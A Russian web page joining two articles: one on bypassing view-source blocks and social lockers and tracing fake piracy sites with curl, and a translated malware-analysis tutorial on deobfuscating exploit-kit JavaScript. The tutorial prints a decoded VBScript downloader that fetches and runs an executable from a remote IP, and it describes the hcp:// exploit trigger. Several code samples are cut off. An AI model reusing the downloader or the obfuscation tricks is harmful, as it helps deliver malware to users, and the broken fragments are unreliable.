Перейти к содержимому

Как обойти обфускацию кода

  • автор:

HackWare.ru

Этичный хакинг и тестирование на проникновение, информационная безопасность

Обход запрета показа исходного HTML кода, обход социальных блокировщиков и других мер противодействия сбору информации о сайте

Можно ли надёжно защитить HTML код веб-страницы

Исходный код веб-страницы невозможно защитить от просмотра. Это факт. Но можно в некоторой степени усложнить задачу анализа кода. К совершенно пустым, неэффективным способам можно отнести блокировку правой кнопки мыши. К более эффективным средствам можно отнести обфускацию кода. Особенно если код не присутствует в исходном тексте страницы, а подгружается из разных файлов с помощью JavaScript и если на разных этапах (сам JavaScript и HTML) также обфусцированны. В этом случае всё становится намного труднее. Но такие случае довольно редки — чаще встречаются на веб-сайтах очень крупных компаний. Мы же рассмотрим более простые варианты.

Как просмотреть исходный HTML код веб страницы, если заблокирована правая кнопка мыши и сочетание клавиш CTRL+u

Если правая кнопка мыши не работает, то просто нажмите CTRL+u. Мне попался сайт, в котором CTRL+u также отказалась работать:

CTRL+u можно отключить с помощью JavaScript и именно эта техника используется на том сайте. То есть первый вариант очевиден — с выключенным JavaScript исходный код не будет «заблокирован».

Другой вариант — это в меню браузера найти опцию «Показать исходный код». В Firefox эта опция есть, но лично у меня всегда уходит много времени, чтобы её найти ))) В Chrome я эту опцию вообще не могу найти в меню браузера, поэтому запомните строку

view-source:

Если эту строку добавить перед любым адресом сайта и всё это вставить во вкладку веб-браузера, то будет открыт исходный код данной страницы.

Например, я хочу посмотреть HTML страницы https://suip.biz/ru/?act=view-source, тогда я вставляю строку view-source:https://suip.biz/ru/?act=view-source во вкладку веб-браузера и получаю в ней исходный код.

Кстати, если вам трудно запомнить view-source, то вот здесь соответствующий сервис: https://suip.biz/ru/?act=view-source (только не надо смеяться над его «сложностью» — всего в жизни не запомнишь, и иногда реально проще открыть такую страницу и с помощью неё получить нужную для просмотра исходного кода строку).

Кстати по поводу отключения JavaScript — необязательно лазить в «глубинные» настройки браузера и искать где эта опция. Можно даже не отключать JavaScript, а приостановить выполнение скриптов для конкретной страницы.

Для этого нажмите F12, затем в инструментах разработчика перейдите во вкладку Sources и нажмите там F8:

Теперь на странице сайта будет работать сочетание клавиш CTRL+u, как будто бы его никогда не отключали.

Обход социальных блокировщиков

Социальный блокировщик выглядит примерно так:

Суть в следующем, чтобы просмотреть содержимое, нужно «лайкнуть» эту статью в социальной сети.

«Под капотом» там всё (обычно) так: «скрываемый» текст уже присутствует в HTML странице, но спрятан с помощью свойства стиля style=»display: none;». Поэтому достаточно:

  1. открыть HTML страницы, защищённой социальным блокировщиком
  2. найти там все вхождения style=»display: none;» — обычно их не очень много.

Пример «взлома» социального блокировщика:

Но каждый раз лазить в исходный код не очень удобно и я… сделал онлайн сервис, который сам извлекает для вас данные, скрываемые социальными блокировщиками, его адрес: https://suip.biz/ru/?act=social-locker-cracker

Там я реализовал обход четырёх социальных блокировщиков и добавил «эвристический» анализ — он включается если никакой из этих 4 х блокировщиков не подошёл, то тогда просто выводится содержимое всех блоков с style=»display: none;».

Кстати, если вам попались страницы, которые этот сервис не может обойти — просто напишите в комментариях ссылку на проблемную страницу — я добавлю соответствующий «обработчик».

Тот сайт, который я показываю на скриншотах, как будто бы распространяет пиратское ПО. Я посмотрел ссылки с помощью обходчика социальных блокировщиков — оказалось, что все скрытые ссылки абсолютно беспонтовые: ведут на демо версии программ или вообще на официальный сайт. В некоторых статьях ссылок вообще нет. Такой «маркетинг» меня заинтересовал и я решил поискать другие сайты этого же автора.

Поиск сетки фальшивых пиратских сайтов

Этот сайт за CloudFlare — Ha ha, classic!

  • Cloudflare, Inc. — это сегодняшние IP адреса
  • GoDaddy.com, LLC — аукцион, парковщик доменов и тому подобное
  • Contabo GmbH — вполне возможно реальный хостинг, где размещён этот сайт

Итак, вероятно, что IP этого сайта 173.249.15.230. На securitytrails на настоящее время по этому IP информации о связанных с ним сайтов нет.

Поэтому идём на сервис «Список сайтов на одной IP», в качестве исходных данных вводим 173.249.15.230 и получаем там:

  • haxsofts.com
  • crackways.com
  • crackmafia.org

Все сайты схожей тематики, везде есть социальный блокировщик, везде вместо вареза ссылки на демо версии, ссылки на официальные сайты, либо просто ничего нет под закрытым контентом.

Верификация IP сайта с помощью cURL

Для верификации IP обычно я использую следующую команду:

curl -v 173.249.15.230 -H 'Host: АДРЕС_САЙТА'
curl -v 173.249.15.230 -H 'Host: macwinsofts.com'

Или так, если нужно проверить сайт на HTTPS протоколе:

curl -v https://173.249.15.230 -H 'Host: macwinsofts.com'

Но сервер 173.249.15.230 настроен так, что абсолютно любой хост, хоть даже если туда написать «dfkgjdfgdfgfd» он перенаправляет на адрес с HTTPS, то есть на «https://dfkgjdfgdfgfd». А запросы по HTTPS сам сервер не принимает вовсе — там веб-сервер не настроен на их обработку и 443 порт даже не октрыт.

В принципе, доказать, что данный сервер настроен на обработку хоста macwinsofts.com можно косвенно, например, данный запрос практически мгновенно вызовет ошибку 503:

curl -v 173.249.15.230/wp-content/uploads/2018/10/ReiBoot-Crack-Mw.png -H 'Host: fake.com'

А вот данный запрос хотя в конечном счёте также вызовет ошибку 503, но заставит сервер надолго «задуматься»:

curl -v 173.249.15.230/wp-content/uploads/2018/10/ReiBoot-Crack-Mw.png -H 'Host: macwinsofts.com'

Видимо, там из-за особенностей настройки происходят бесконечный редиректы и в конце концов соединение сбрасывается по таймауту.

Это способ позволяет в том числе брутфорсить файлы и папки:

curl -v 173.249.15.230/.htaccess -H 'Host: macwinsofts.com'

И совсем интересный результат вызывает вот такой запрос:

curl -v 173.249.15.230/wp-content/uploads/2018/10/ReiBoot-Crack-Mw.png -H 'Host: ya.com'

Заключение

В чём смысл этих сайтов? На некоторых из них имеются для скачивания .exe файлы — возможно вирусы или какая-то сомнительная монетизация. Хотя я проверил по virustotal — вроде бы, файл не вредоносный. Те сайты, у которых нет исполнимых файлов для скачивания, видимо, дожидаются роста посещаемости, чтобы затем начать распространять этот исполнимый файл.

Возможно владелец ожидает роста посещаемости для включения настоящей монетизации или распространения вирусов.

Связанные статьи:

  • Утилиты для сбора информации и исследования сети в Windows и Linux (56.3%)
  • Исследование на основе открытых источников с OSRFramework (поиск по почте, нику, домену) (55.5%)
  • Social Mapper: инструмент анализа социальных сетей, который ищет связь между профилями через распознавание лиц (55.5%)
  • Построение интерактивных карт камер, принтеров, твитов и фотографий (55.5%)
  • Как сохранить всю информацию из профилей Facebook (55.5%)
  • Инструкция по использованию Router Scan by Stas’M. Часть первая: Опции и анонимность сканирования (RANDOM — 50%)

факультете информационной безопасности от GeekBrains? Комплексная годовая программа практического обучения с охватом всех основных тем, а также с дополнительными курсами в подарок. По итогам обучения выдаётся свидетельство установленного образца и сертификат. По этой ссылке специальная скидка на любые факультеты и курсы!

Ручная деобфускация JavaScript

В данной статье будут рассмотрены понятия и методы, связанные с обфускацией JS. Здесь также будет представлен ручной подход, который помогает обращать продвинутые приемы обфусцирования, в том числе используемые в самых свежих эксплоитах.

Автор: Sudeep Singh

Введение

Обфускация JavaScript в течение уже нескольких лет используется для обхода антивирусных сканеров. С ростом числа эксплоитов для браузера большее внимание стало уделяться обнаружению вредоносного JavaScript, использующегося в веб-страницах. Это побудило атакующих подвергать свой код обфускации. В данной статье будут рассмотрены понятия и методы, связанные с обфускацией JS. Здесь также будет представлен ручной подход, который помогает обращать продвинутые приемы обфусцирования, в том числе используемые в самых свежих эксплоитах. Цель документа – показать преимущества ручного подхода перед автоматизированными JS-распаковщиками. Мы также введем читателя в возможности обфусцирования, имеющиеся во фреймворке Метасплоит.

Причины применения обфускации JavaScript

Главная причина – обфусцировать исходный код таким образом, чтобы его почти невозможно было деобфусцировать и подвергнуть обратной инженерии. Это помогает предотвратить кражу интеллектуальной собственности. Существует несколько инструментов для обфускации, которые также сжимают код и уменьшают время, требуемое для загрузки кода в браузер. Их можно использовать, чтобы избавиться от неиспользуемого или повторяющегося кода. С точки зрения безопасности обфусцированный JavaScript может избегать обнаружения антивирусами. Он также усложняет процесс понимания кода.

Сравнение минификаторов и обфускаторов JavaScript

  • Замена символов возврата каретки на перевод строки
  • Замена кратных пробелов на один, замена кратных символов перевода строки на один такой символ
  • Замена комментариев на символ перевода строки
  • Замена /**/ на пробелы

Как можно видеть, JSMin не сосредоточен на кодировании строк, замене имен локальных переменных или других методах, используемых обфускаторами.

Методы обфускации JavaScript

Существует несколько методов, используемых для обфускации фрагментов написанного на JavaScript кода. Чтобы лучше вникнуть в данный вопрос, я приведу несколько примеров обфусцированного JavaScript-кода.

Используемые приемы могут варьироваться от простых и распространенных, с которыми могут справляться онлайновые JS-распаковщики вроде jsunpack.jeek.org, до действительно сложных, которые выходят за пределы возможностей онлайновых JS-распаковщиков.

Вместо того, чтобы задокументировать все эти приемы скопом, я опишу их в трех разных разделах с нарастанием сложности.

Основы обфускации JavaScript

В первом разделе мы обсудим JavaScript, обфусцированный очень просто. Считайте это разминкой перед пониманием основных идей, используемых для обфускации JS. Прошу отметить, что, как уже утверждалось, представленный здесь обфусцированный JavaScript легко распаковать с помощью онлайновых JS-распаковщиков, однако способность проводить деобфускацию данного кода в ручном режиме поможет нам в понимании более продвинутых методов.

Итак, давайте начнем.

Вначале обфусцированный код выглядит так, как показано ниже:

Он нечитаем. Поэтому мы поместим символ новой строки после каждой точки с запятой и выполним небольшое форматирование, чтобы он стал более читаем:

Теперь сделаем несколько наблюдений, чтобы понять методы, используемые злоумышленником для обфускации кода:

Прием 1: объявление множества неиспользуемых переменных.

var tZsuw;
var QpUL=64;
var Jzgxgh=98;

Эти переменные нужны лишь для того, чтобы создать путаницу. Их можно смело удалить.

Прием 2: вызов неопределенных функций внутри условных операторов IF с заведомо ложным условием.

if(‘ZfoJC’==’JlEhQJO’) // False Condition
mxvGejD(); // This function is never defined and used.

Подобные операторы IF также могут быть удалены.

Прием 3: использование длинных имен переменных вроде «NMeZD» или «HxIyzd» тоже нужно лишь для затруднения анализа.

Чтобы сделать код нечитаемым, все вышеописанные приемы используются неоднократно.

После удаления из нашего кода всего лишнего мы получим более читабельный код, который выглядит примерно так:

Закодированные имена JavaScript-функций

Данный код использует различные функции JavaScript для декодирования закодированных строк. Имена этих функций также обфусцируются. Я использую веб-консоль Firefox, чтобы быстро декодировать имена этих функций.

Переменная NMeZD хранит имя функции. Чтобы декодировать имя данной функции, в коде используется функция replace. Этот процесс можно автоматизировать через веб-консоль Firefox, как показано ниже:

Теперь мы знаем, что переменная хранит строку «replace».

Она в свою очередь используется для получения имени другой функции:

Мы заменяем «NMeZD» на «replace» и снова вычисляем значение с помощью веб-консоли:

Итак, мы получили строку с именем следующей функции – «fromCharCode». Таким образом мы можем вычислить все имена функций, используемых в коде. Как только это будет сделано, код станет выглядеть так:

Получение глобального объекта

Глобальным объектом для браузера является окно (window). Данное действие также известно как утечка окна. Чтобы получить ссылку на окно, используется следующий фрагмент кода:

Эта функция не делает ничего кроме помещения ссылки на глобальный объект (окно) в переменную с именем «KsjQS».

Получение ссылки на функцию String

В данном коде использовался один изящный прием. Опять же, его проще понять с помощью веб-консоли:

Этап декодирования:

Закодированная строка хранится в переменной pGIL.

var
pGIL=’b1bcb0c2bab2bbc17bb9bcb0aec1b6bcbb8a74b5c1c1bd877c7cbcc6bfbcc1b67bbfc27
c74′; // Length of this string is 74

Главной целью кода является декодирование этой строки и ее запуск. Мы увидим, как это происходит.

Для этого используется следующий цикл For:

for (mJvk=0;mJvk <
rVCkG=KsjQS[HxIyzd](pGIL[iRNyfP](mJvk,mJvk+2),16)-77;
mSIAd+=oMYN[DubWtR](rVCkG);
>

Мы можем сделать код гораздо более читаемым путем замены всех имен переменных на соответствующие им строки с именами функций. Наряду с тем, я также заменю имена переменных «mJvk», «rVCkG» и «mSIAd» на «a», «b» и «c» соответственно.

По окончании этих преобразований код будет выглядеть следующим образом:

Он пробегает символы закодированной строки посредством цикла FOR и декодирует их с помощью метода String.fromCharCode.

В результате декодированная строка имеет такое значение: document.location= http://oyroti.ru/

Этот код используется для перенаправления браузера на сайт http://oyroti.ru/

Blackhole Exploit Kit

Теперь, понимая простые принципы, давайте копнем чуть поглубже в сложные коды, которые с легкостью обходят антивирусы и не поддаются онлайновым JS-распаковщикам. У нас остается лишь один выход – распаковывать их вручную.

В качестве примера я взял обфусцированный JavaScript, используемый в Blackhole Exploit kit. Этот код использует несколько новых хороших недокументированных приемов.

Для начала я перечислю некоторые используемые приемы:

  1. Как обычно, для противодействия реверс-инжинирингу читаемость кода понижается путем использования длинных имен переменных и удаления средств форматирования вроде символов новой строки. Тут ничего нового.
  2. Используются блоки try<> и catch<>. Данный принцип без изменений распространяется на несколько различных языков программирования. Вы пытаетесь запустить некторый код в блоке try<>, и, если в ходе выполнения будет выброшено исключение, оно будет обработано в обработчике исключения, находящимся в блоке catch<>.

Дальше мы рассмотрим более подробно, как наш код использует данный прием.

Вот исходный обфусцированный код:

После беглого взгляда на весь код мы обнаружим, что обфусцированный JS расположен на HTML-странице сразу после тега

.

Отсюда мы и начнем.

Ранее упомянутые приемы будет проще понять с помощью иллюстрирующих их фрагментов рассматриваемого кода:

Прием 1: достаточно просто взглянуть на код – и его применение станет очевидным 🙂

Прием 2: trycatch(qwgw)

Разбиение кода на строки сделает его более читаемым. Я также добавил необходимые комментарии.

try
<
Math.lol(); /* lol() is an invalid library undefined in Math Class */
>
catch(qwgw) /* The code above throws an exception which triggers the code in catch()
block */
<
fr=»f»+»r»+»o»+»m»+»C»; /*
Basic String Concatenation, «fromC» is the result
>

Как и в случае с большинством обфусцированных JS-скриптов, один прием применяется несколько раз. Так что, мы вычистим оставшийся код, следуя тем же путем.

Сделаем его более читаемым:

try
<
Boolean(false)[p].google; /* invalid code, throws an exception which triggers code in catch()
block */
>
catch(vb)
<
e=zz[‘e’+’v’+’al’]; /* Basic String Concatenation */
fr+=(fr)?»ha»+»rCode»:»»;
ch+=(fr)?»odeAt»:»»;
r=»replace»;
>
fr+=(fr)?»ha»+»rCode»:»»;

Поскольку fr уже было присвоено значение «fromC», условие в тернарной операции эквивалентно true. Значит, результатом данной операции будет то, что предшествует символу двоеточия («:»).

fr = fr + «ha» + «rCode»
fr = «fromCharCode»

На самом деле данный код сокращается, учитывая вышеописанный прием, до следующего:

Это выражение вернет массив всех элементов div, присутствующих на HTML-странице. Коллекция тегов хранится в переменной dd.

В нашем случае на веб-странице присутствует лишь один тег .

Так что, dd[«length»] = 1

Цикл for сокращается до

Этот цикл проходит только одну итерацию.

dd[0][«innerHTML][«substr»](3) удалит первые три символа из HTML-кода, находящегося между тегами . Первые три символа имеют значение «$$$».

Это свидетельствует о том, что наш код состоит из корректного кода перемежающегося строками некорректных символов HTML. На этапе декодирования он от этих строк избавляется.

В конце данного цикла весь обфусцированный код с вырезанными первыми тремя символами хранится в строковой переменной z.

Применение данного приема является причиной, по которой онлайновые JS-распаковщики не могут деобфусцировать код.

Мы проанализируем цикл FOR, используемый для декодирования обфусцированного содержимого тега .

Это сокращается до

После прочтения кода цикла FOR становится очевидным, что он декодирует обфусцированное содержимое путем манипуляции с ASCII-кодами.

Вот в какой последовательности происходит декодирование:

  1. Запускается цикл FOR по всей длине содержимого между тегами .
  2. За итерацию обрабатывается один символ
  3. Вычисляется ASCII-код символа
  4. Если код имеет значение между 36 и 61 (не включая), то к нему добавляется 25, а символ, соответствующий результирующему коду, сохраняется в переменной
  5. Иначе, если код имеет значение между 61 и 86 (не включая), то из него вычитается 25, а символ, соответствующий результирующему коду, сохраняется в переменной
  6. Данный символ конкатенируется с результатом предыдущей итерации, и осуществляется переход к следующему символу, пока все содержимое не будет обработано
  7. Последний шаг цикла состоит в вызове функции eval() для запуска результата декодирования

Теперь, когда мы понимаем, что делает данный цикл FOR, мы можем продолжить декодирование. Однако, учитывая размер обфусцированного кода, делать это вручную будет неэффективно.

Вместо этого я создам новый HTML-документ, используя только нужный код из исходной вредоносной веб-страницы.

Нашей целью здесь будет увидеть, во что декодируется обфусцированный кусок кода.

Вот код новой страницы:

Сохраните его как HTML-страницу и откройте ее в браузере. Деобфусцированный код будет показан во всплывающем окне.

Скопируйте и вставьте содержимое этого окна в другой файл не в HTML-формате.

Тут мы сталкиваемся с еще одним слоем обфускации. Чтобы снять и его, могут быть применены изученные ранее приемы.

Однако, нам опять нужно рассмотреть весь код целиком.

Использование разных типов кодирования:

Вот некоторые примеры: h, №, %u003f.

Мы можем заменить эти последовательности, преобразовав в соответствующие символы юникода, но сделаем это позднее.

CreateObject(@MSXML2.XMLHTTP@)>>№TEMP№>
go.gPs
echo Set xml ! Nothing >>№TEMP№

Множество специальных символов вроде «@», «>», «!» располагаются особым образом, однако значение их неясно.

Если мы продолжим отслеживать код до конца, то найдем набор используемых функций замены (replace).

В целом обфусцированный код содержит цепочку функций замены, добавленных в конец, как показано ниже:

Давайте вычислим данные выражения одно за другим:

  • replace(/!/g, String.fromCharCode(61)) -> replace «!» with «=»
  • replace(/@/g, String.fromCharCode(34)) -> replace «@» with «»»
  • replace(/]/g, String.fromCharCode(38)) -> replace «]» with «&»
  • replace(/ replace »
  • replace(/JOPA/g, String.fromCharCode(72,84,84,80,46,83,101,110,100)) -> replace «JOPA» with «HTTP.Send»
  • replace(/gPs/g, String.fromCharCode(118,98,115)) -> replace «gPs» with «vbs»
  • replace(/>/g, String.fromCharCode(92)) -> replace «>» with «\»
  • replace(/№/g, String.fromCharCode(37)) -> replace «№» with «%»

Теперь должно быть ясно, почему я не заменил «№» на соответствующий символ на шаге 1: это дало бы нам другой результат.

Применив означенные выше функции ко всему обфусцированному коду, мы получим:

После непродолжительного исследования можно заключить, что данная последовательность действий записывается командой echo в VBScript-файл, располагающийся в %TEMP%\go.vbs с помощью оператора перенаправления («>>»)

Для большей ясности мы можем переписать содержимое go.vbs в таком виде:

FileName = «%TEMP%/file.exe
url=»http://69.194.192.229/q.php?f=7245d&e=5″
Set objHTTP = CreateObject(«MSXML2.XMLHTTP»)
Call objHTTP.Open(«GET», url, False)
objHTTP.Send
set oStream = createobject(«Adodb.Stream»)
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
oStream.type = adTypeBinary
oStream.open
oStream.write objHTTP.responseBody
oStream.savetofile FileName, adSaveCreateNotExist
oStream.close
set oStream = nothing
Set xml = Nothing
Set WshShell = CreateObject(«WScript.Shell»)
WshShell.Run FileName, 0, True
Set FSO = CreateObject(«Scripting.FileSystemObject»)
FSO.DeleteFile

Данный VBScript запускается командой

следующей за созданием vbs файла в конце скрипта

Что именно приводит к запуску нашего кода?

var iframe=’ src=»hcp://services/search?
query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm?svr= defer>

В Центре справки и поддержки Windows (Microsoft Windows Help Centre, helpctr) существует уязвимость, связанная с тем, как выполняется URL-нормализация. Эксплуатируется зарегистрированный обработчик протокола hcp://.

Это позволяет выполнить код, в нашем случае – VBScript.

Более подробно о данной уязвимости можно прочитать здесь:

CVE для данного эксплоита: CVE-2010-1885

Что делает рассмотренный VBScript?

Он загружает содержимое с URL http://69.194.192.229/q.php?f=7245d&e=5, записывает его в file.exe во временной папке системы и запускает его с помощью WshShell.

Так мы смогли увидеть, насколько хорошо обфусцированный JavaScript может скрывать настоящий функционал.

Задача по деобфускации JS от Breaking Point

Теперь, когда мы познакомились со сложно обфусцированным JavaScript, давайте взглянем на еще один, который использует несколько новых приемов.

На этот раз я возьму обфусцированный JavaScript, который давался на соревновании по деобфускации, устроенному компанией Breaking Point Systems в сентябре 2011 года.

Он использует несколько приемов. Код выглядит так:

Выше показан фрагмент обфусцированного кода. Вы можете скачать полный код здесь: http://www.breakingpointsystems.com/default/assets/File/blogresources/JavaScript-obfuscationcode.txt

Снова я перечислю используемые здесь приемы:

Строки представляются интерпретируются как числа в системе счисления с основанием 32 (далее – radix-32).

Побитовый сдвиг влево эквивалентен умножению числа на 2 в степени, равной количеству левых сдвигов.

В JavaScript функция toString() используется для преобразования числа в строку. Когда данной функции передается аргумент 32, она преобразует число из десятичной (с основанием 10) системы в radix-32.

Это можно понять на примере.

720094129 – десятичное число (с основанием 10).
16

Нам нужно вычислить эквивалент числа 720094129 (записанного в десятичной системе) в radix-32.

Для перевода из одной системы счисления в другую можно использовать этот сайт:

Число 720094129 в radix-32 эквивалентно строке «length»

720094129..toString(32)+»»= length + «» = length

Представление чисел через операции над строками.

Умный прием был использован для представления чисел, особенно маленьких (0-9) в виде выражений, оперирующих со строками.

1 можно представить как длину строки, состоящей из единственного символа.

Однако из предыдущего анализа мы знаем, что строка «length» может быть также записана в виде 720094129..toString(32)+»»

так что ‘C'[720094129..toString(32)+»»] = 1

В данном JavaScript вычисляется несколько выражений «if». Давайте возьмем одно для примера и расширим примененный к нему подход на все остальные.

Так, вышеописанное выражение «if» сокращается до:

Это подводит нас к следующему шагу обфускации.

Строка представляется в виде кодов символов.

Коды символов представлены в различных форматах: десятичном (dec), восьмеричном (oct) и шестнадцатеричном (hex).

Данная функция JavaScript вернет символ, соответствующий ASCII-коду x.

Здесь важно отметить, что числу ‘x’, являющемуся аргументом данной функции, следует быть записанным в десятичном формате. Ему не следует быть ни восьмеричным, ни шестнадцатеричным. Если оно в записано в другой системе, оно неявно преобразуется JS-интерпретатором в десятичную систему.

Если мы посмотрим на рассмотренный выше образец условного выражения, мы увидим некоторые числа, записанные в восьмеричном формате (начинаются с 0).

Во время соревнования я написал короткий скрипт на Перл, который бы автоматически разбирал список разделенных запятой чисел в различных форматах и конвертировал бы их в десятичный формат.

Он оказался очень полезным и сэкономил кучу времени, как вы позднее увидите, когда мы подойдем к этапу декодирования с помощью XOR.

Например, в обфусцированном JavaScript присутствовало такое условное выражение:

if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != —
‘Z'[720094129..toString(16 <<1)+""])
<
return String.fromCharCode
(0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53);
>

if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != -1)
<
return String.fromCharCode
(0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53);
>

Теперь нам нужно упростить аргумент String.fromCharCode.

Вы можете использовать данный сайт, чтобы преобразовать String.fromCharCode из строки чисел в символы:

Если вы введете 0157,112,0145,114,97 в поле ввода на данном сайте, вы получите на выходе непонятный набор символов:

Аналогично, попробуйте ввести 0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 и посмотрите на результат.

Это происходит по причине, которую я упомянул выше. Эти значения должны быть записаны в десятичном виде, а не в восьмеричном или шестнадцатеричном. В обфусцированный javascript была включена смесь из десятичных, восьмеричных и шестнадцатеричных чисел, чтобы обмануть исследователя.

Здесь и пригождается Перл-скрипт, позволяя сэкономить нам время.

0157,112,0145,114,97 = 111,112,101,114,97 = opera
0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 =
109,97,84,104,76,76,90,113,80,109,114,114,70,83 = maThLLZqPmrrFS

Замечание: если вы не хотите использовать Перл-скрипт для выполнения преобразования кодов символов, вы можете использовать JS-интерпретатор веб-консоли, чтобы получить требуемые значения.

Теперь наше условное выражение сокращается до:

if(uUHIjMJVFJET.indexOf(opera) != -1)
<
return maThLLZqPmrrFS;
>

Важно понять эту часть часть кода. Переменная uUHIjMJVFJET будет хранить значение user-agent (в нижнем регистре) браузера жертвы. Мы проверяем, использует ли жертва браузер Opera. Если жертва использует данный браузер, то мы возвращаем случайную предварительно сгенерированную парольную фразу, «maThLLZqPmrrFS».

Эта парольная фраза будет использована для декодирования закодированной XOR-ом полезной нагрузки, которую мы увидим позже.

В коде встречаются несколько операторов if, которые проверяют соответствие user-agent различным типам браузеров и, в зависимости от результата проверки, возвращают соответствующую парольную фразу.

Операция сложения заменяется специальными символами.

Если вы предварите число N символом ‘~’, то получите значение, равное -(N+1)

Поэтому добавление 1 к N эквивалентно дописыванию -~ перед N.

Если вы хотите добавить к значению переменной 3, нужно предварить ее троекратной комбинацией -~.

Рассмотрим, например, такое выражение «if»:

Сначала мы выполним перевод десятичных чисел в radix-32, чтобы получить соответствующие строки.

Сосредоточимся на этом фрагменте:

‘zgBq'[length] = 4
-~-~’zgBq'[length] = 4+2 = 6
-~-~-~’tlk'[length] = 3+3 = 6

Зная данные соотношения, мы можем сократить показанное выше условное выражение до:

После подстановки значений переменных получим:

В коде многократно встречалась конструкция вида (function () < return x >)(). Надеюсь, для вас очевидно, что она всего лишь возвращает значение x.

Так что, данное выражение уменьшается до:

if(uUHIjMJVFJET.indexOf(chrome)) != -1)
<
return aFaQW;
>

Данный блок кода снова выглядит похожим на рассмотренное ранее «if»-выражение. Он возвращает случайную парольную фразу, если жертва использует браузер Chrome.

Теперь, когда я рассмотрел приемы, использованные в данном обфусцированном JavaScript, мы можем видеть результат их применения. Мы можем деобфусцировать значительную часть кода. Вот что мы получим (я также добавил необходимые комментарии):

function wprcm()
<
var uUHIjMJVFJET = navigator.userAgent.toLowerCase(); /* retrieves the Browser’s User
Agent and
converts it to lowercase. */
if(uUHIjMJVFJET.indexOf(opera) != -1) /* is the browser Opera? */
<
return maThLLZqPmrrFS; // the Random passphrase which is returned depending on the
Browser Type
>
if(uUHIjMJVFJET.indexOf(firefox) != -1) /* is the browser Firefox? */
<
return (loMAYcXfkUsG);
>
if(uUHIjMJVFJET.indexOf(chrome) != -1) /* is the browser Chrome? */
<
return (aFaQW);
>
if(uUHIjMJVFJET.indexOf(safari) != -1) /* is the browser Safari? */
<
return (MjLMl);
>
if(uUHIjMJVFJET.indexOf(msie) != -1) /* is the browser Microsoft Internet Explorer */
<
return (nUHCmZfyQBLAg);
>
if(uUHIjMJVFJET.indexOf(netscape)) != -1) /* is the browser Netscape? */
<
return (IrNFOz);
>
if(uUHIjMJVFJET.indexOf(mozilla/5.0) != -1) /* Is the browser Mozilla? */
<
return VjtxHZHGKWT;
>
return HEeeeYBsTMItYY; /* If none of the above User Agents were detected then return this
value */
>
function pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
<
var UMa = [];
var VfoamYteBIveYp = «»;
while(pOtdvHbBav.length < FSzQjtHkbuMDLW.length)
<
pOtdvHbBav += pOtdvHbBav;
>
for(i = 1; i <
UMa[String.fromCharCode(i)] = i; /* ASCII Table */
>
for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
<
VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^
UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBIveYp */
>
return VfoamYteBIveYp; /* This returns the XOR decoded String to the eval function to
execute */
> eval(pjSkrbvs(unescape((String.fromCharCode(37,117,48,48,48,97. ))), wprcm()));

На основании написанного выше мы запишем логику алгоритма:

Данная функция определяет user-agent браузера жертвы. Она проверяет значение user-agent и, в зависимости от типа браузера, возвращает случайно сгенерированный пароль.

Вызов главной функции в данном обфусцированном JavaScript находится в нижней его части:

Это декодирующая функция, pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)

Функция принимает на входе два аргумента.

FSzQjtHkbuMDLW: JavaScript, закодированный с помощью XOR.
pOtdvHbBav: случайная парольная фраза, которая используется для декодирования.

Сначала парольная фраза расширяется до длины закодированного JavaScript. Таблица ASCII-кодов содержится в массиве UMa, который понадобится позднее в процессе декодирования.

XOR-декодирование происходит в данном цикле FOR.

for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
<
VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^
UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBIveYp */
>

Цикл выполняет операцию XOR между ASCII-значением каждого символа из закодированной полезной начинки JavaScript и соответствующим символом случайной парольной фразы. Результат данной операции затем преобразуется из ASCII-кода в символ с помощью функции String.fromCharCode().

В конце работы данной функции переменная VfoamYteBIveYp содержит полностью декодированный JavaScript, который передается в вызывающую функцию eval().

Я поступлю так же, как и в предыдущем разделе. Чтобы раскодировать полезную нагрузку, я использую определенные блоки исходного обфусцированного кода, которые помогут при декодировании. В данном случае я сформирую новый HTML-файл, показанный ниже:


XOR Decoder

Поскольку я использую Firefox, я взял парольную фразу «loMAYcXfkUsG», соответствующую значению user-agent для Firefox.

Как только я открою данную HTML-страницу в Firefox, я получу на выходе декодированный код. Он содержит еще один уровень обфускации.

Здесь, однако, использованы те же приемы, что и прежде, поэтому я опущу подробности.

Применив еще раз те же методы, мы получим деобфусцированный JavaScript, показанный ниже:

Данный JavaScript эксплуатирует уязвимость Remote Heap Buffer Overflow (удаленное переполнение буфера кучи) в браузере жертвы.

CVE данной уязвимости: CVE-2010-3765

Приведенный выше код передается функции eval(), которая запустит его в контексте браузера.

Обфускация JS во фреймворке Метасплоит

Фреймворк Метасплоит содержит богатую библиотеку эксплоитов. Касательно обфускации JavaScript в данном фреймворке нас будет интересовать библиотека браузерных эксплоитов.

